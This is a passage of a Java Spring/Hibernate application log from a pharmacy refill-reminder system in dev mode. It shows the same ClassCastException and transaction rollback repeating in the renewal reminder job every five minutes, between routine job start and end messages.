org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 13:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 13:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 13:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 13:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 13:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 13:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 13:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 13:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 13:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 13:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 13:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 13:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 13:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 13:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 13:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 13:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 13:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 13:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 13:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 13:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 13:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 13:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 13:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 13:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 13:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 13:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 13:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 13:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 